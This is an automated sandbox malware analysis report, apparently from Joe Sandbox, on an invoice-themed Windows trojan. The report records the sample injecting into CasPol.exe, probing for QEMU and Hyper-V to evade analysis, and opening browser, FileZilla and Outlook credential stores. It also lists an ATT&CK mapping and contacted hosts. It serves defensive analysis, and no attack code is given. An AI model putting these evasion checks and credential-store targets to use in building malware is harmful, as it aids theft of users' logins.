Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Rechung-R1663322504.exe	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: Rechung-R1663322504.exe, 00000001.00000002.52369801898.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, Rechung-R1663322504.exe, 00000001.00000003.52267232301.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE1
Source: Rechung-R1663322504.exe, Rechung-R1663322504.exe, 00000001.00000002.52369801898.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, Rechung-R1663322504.exe, 00000001.00000003.52267232301.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_00402862 FindFirstFileW,	1_2_00402862
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_0040596D GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040596D
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Code function: 1_2_004065A2 FindFirstFileW,FindClose,	1_2_004065A2

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	API call chain: ExitProcess graph end node			graph_1-4651
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	API call chain: ExitProcess graph end node			graph_1-4646

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000007.00000002.52522416612.000000000422B000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.0000000004283000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Rechung-R1663322504.exe	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: Rechung-R1663322504.exe, 00000001.00000002.52369801898.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, Rechung-R1663322504.exe, 00000001.00000003.52267232301.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe1
Source: Rechung-R1663322504.exe, Rechung-R1663322504.exe, 00000001.00000002.52369801898.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, Rechung-R1663322504.exe, 00000001.00000003.52267232301.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Rechung-R1663322504.exe, 00000001.00000002.52425335519.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Code function: 1_2_00406937 GetTickCount,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,

1_2_00406937

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe base: 1100000

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Users\user\Desktop\Rechung-R1663322504.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Users\user\Desktop\Rechung-R1663322504.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 2584	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Rechung-R1663322504.exe

1_2_00403350

Source: Amcache.hve.9.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.2107.4-0\msmpeng.exe
Source: Amcache.hve.9.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 7.2.CasPol.exe.37520000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.CasPol.exe.37520000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52540526737.0000000034E8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52560446262.0000000036F71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5220, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5220, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 7.2.CasPol.exe.37520000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.CasPol.exe.37520000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.52561610808.0000000037520000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52540526737.0000000034E8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52560446262.0000000036F71000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5220, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	2 OS Credential Dumping	211 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	21 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	111 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	2 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 DLL Side-Loading	1 Disable or Modify Tools	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Access Token Manipulation	NTDS	4 File and Directory Discovery	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	111 Process Injection	LSA Secrets	16 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Rechung-R1663322504.exe	31%	ReversingLabs	Win32.Trojan.Tnega
Rechung-R1663322504.exe	38%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsiF853.tmp\AdvSplash.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
checkip.dyndns.com	0%	Virustotal		Browse
checkip.dyndns.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://subca.ocsp-certum.com01	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com05	0%	Avira URL Cloud	safe
http://go.microsoft.	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com02	0%	Avira URL Cloud	safe
http://go.microsoft.	0%	Virustotal		Browse
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
http://go.microsoft.LinkId=42127	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/	0%	Virustotal		Browse
http://james.newtonking.com/projects/json	0%	Avira URL Cloud	safe
http://crl.micros	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.184.206	true	false		high
googlehosted.l.googleusercontent.com	172.217.16.129	true	false		high
checkip.dyndns.com	158.101.44.242	true	true	0%, Virustotal, Browse	unknown
doc-04-c4-docs.googleusercontent.com	unknown	unknown	false		high
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://doc-04-c4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v7891419i1as1r1dl2nqlomasvu/1679114250000/12853136832670220481/*/1RhzoPq21Mbz1UprqcH2DXnwFIoRgz7-l?e=download&uuid=687b7ba6-caf7-4f82-8267-8cb96e77380a	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doc-04-c4-docs.googleusercontent.com/	CasPol.exe, 00000007.00000002.52522416612.0000000004268000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042C5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctsca2021.crl0o	Rechung-R1663322504.exe	false		high
http://repository.certum.pl/ctnca.cer09	Rechung-R1663322504.exe	false		high
https://doc-04-c4-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/eu361v78	CasPol.exe, 00000007.00000002.52522416612.00000000042E0000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52341294724.00000000042E4000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000003.52345673392.00000000042E1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000007.00000002.52522416612.0000000004283000.00000004.00000020.00020000.00000000.sdmp	false		high
http://repository.certum.pl/ctsca2021.cer0	Rechung-R1663322504.exe	false		high
http://crl.certum.pl/ctnca.crl0k	Rechung-R1663322504.exe	false		high
http://subca.ocsp-certum.com05	Rechung-R1663322504.exe	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	CasPol.exe, 00000007.00000002.52522416612.000000000422B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com02	Rechung-R1663322504.exe	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	Rechung-R1663322504.exe	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca2.crl0l	Rechung-R1663322504.exe	false		high
http://repository.certum.pl/ctnca2.cer09	Rechung-R1663322504.exe	false		high
https://support.google.com/chrome/?p=plugin_flash	CasPol.exe, 00000007.00000002.52540526737.0000000034E46000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.microsoft.	CasPol.exe, 00000007.00000002.52560446262.0000000036F51000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.LOG1.9.dr, Amcache.hve.9.dr	false		high
http://checkip.dyndns.org	CasPol.exe, 00000007.00000002.52540526737.0000000034D71000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Rechung-R1663322504.exe	false		high
http://go.microsoft.LinkId=42127	CasPol.exe, 00000007.00000002.52560446262.0000000036F51000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.certum.pl/CPS0	Rechung-R1663322504.exe	false		high
http://james.newtonking.com/projects/json	CasPol.exe, 00000007.00000002.52561889914.0000000037600000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micros	CasPol.exe, 00000007.00000003.52345673392.0000000004296000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.16.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	true
142.250.184.206	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	829392
Start date and time:	2023-03-18 05:35:01 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
